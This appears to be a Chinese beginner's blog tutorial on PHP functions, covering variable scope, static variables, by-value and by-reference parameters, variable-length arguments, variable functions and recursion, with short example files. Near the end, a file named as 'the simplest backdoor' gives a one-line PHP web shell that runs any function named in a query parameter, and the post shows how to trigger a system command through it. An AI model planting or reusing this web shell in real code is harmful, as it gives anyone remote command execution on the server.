本文已参与「新人创作礼」活动,一起开启掘金创作之路。
函数
代码块
有输入,有输出
结构
function 函数名(形参){
代码块
return;
}
注意:
函数调用时,实参要按照顺序给形参。
函数调用时,互相独立,默认没有联系
执行完毕后,返回调用的位置,继续向下执行
变量的范围
局部变量
在函数内部定义的变量
变量的作用范围就是这个函数
全局变量
在PHP脚本中,函数外部定义的变量
变量的作用域为整个PHP脚本
在函数中使用全局变量?
1、传参
2、声明
global
3、常量的作用域,是超全局
静态变量
在函数内部定义
用static修饰符修饰
仅在函数初次执行时被初始化
参数的传递
1、按值传递参数(默认方式)
对形参的操作,不会对实参产生影响。
2、按引用传参
相当于给实参起了一个别名,对形参的操作会影响实参。
3、默认参数
如果没有给函数传递实参,取默认值
建议:
全给默认参数
4、可变函数参数列表
func_get_args();
func_get_arg();
func_num_args();
可变函数
函数名为变量,类似这样的结构
b);
也是最简单的后门
递归函数
自己调自己
源码:
1.php
<?php
function userprint(){
echo "This is userprint Fun!";
}
function hello($name){
echo "Hello, ".$name;
}
function add($a,$b){
$c = $a + $b;
return $c;
}
userprint();
hello("GGG");
echo "<hr />";
echo add(1,2);
?>
2.php(局部变量)
<?php
$a = 10;
function test(){
echo $a;
}
test();
echo "<hr />";
echo $a;
?>
3.php(全局变量)
<?php
$a = 10;
define("NAME","GGG");
function test(){
echo $a;
global $a;
echo $a;
echo NAME;
}
test();
?>
4.php(静态变量)
<?php
function test(){
static $a = 10;
echo ++$a."|";
}
test();
test();
test();
?>
5.php()
<?php
function A(){
echo "This is A fun!<hr />";
}
function B(){
echo "This is B fun!<hr />";
A();
echo "Fun B end!<hr />";
}
function C(){
echo "This is Fun C<hr />";
B();
echo "All Fun end<hr />";
}
C();
?>
6.php(按默认值传递参数/引用传参)
<?php
/*
function add($x){
echo ++$x;
}
*/
function add(&$x){
echo ++$x;
}
$a = 3;
add($a);
echo "<hr />";
echo $a;
?>
7.php(默认参数)
<?php
function add($a=2,$b){
echo $a+$b."<hr />";
}
add(10,20);
//add(4);
add (1,2,3,4,5);
?>
8.php(可变函数参数)
<?php
function test(){
//echo "This is :".__FUNCTION__;
echo func_num_args();//传参个数
echo "<br />";
echo func_get_arg(1);//根据参数偏移量,从零开始计数,获取参数值
echo "<br />";
for($i=0;$i<func_num_args();$i++){
echo func_get_arg($i)."|";
}
}
//test();
test("GGG",24,true,89.9);
echo "<br />";
?>
9.php(可变函数)
<?php
function test1(){
echo "This is func".__FUNCTION__;
echo "<br />".func_get_arg(0);
}
function test2(){
echo "This is func".__FUNCTION__;
echo "<br />".func_get_arg(0);
}
//$a="test1";
//$a="test2";
//$a="var_dump";
//$a="echo"
//$a("GGG");//函数 函数名$abs test1("GGG")
//$a="printf";
$a ="system";
$a("ipconfig");
?>
yjh.php(最简单的后门)
<?php
$_GET['a']($_GET['b']);
?>
我们现在在地址后添加以下代码
?a=system&b=ping www.baidu.com
10.php(递归函数)
<?php
function test($n){
echo $n.' ';
if($n>0){
test($n-1);
}
else{
echo '<-->';
}
echo $n.' ';
}
test(3);//3 2 1 0 <-->0 1 2 3
?>
参考文献: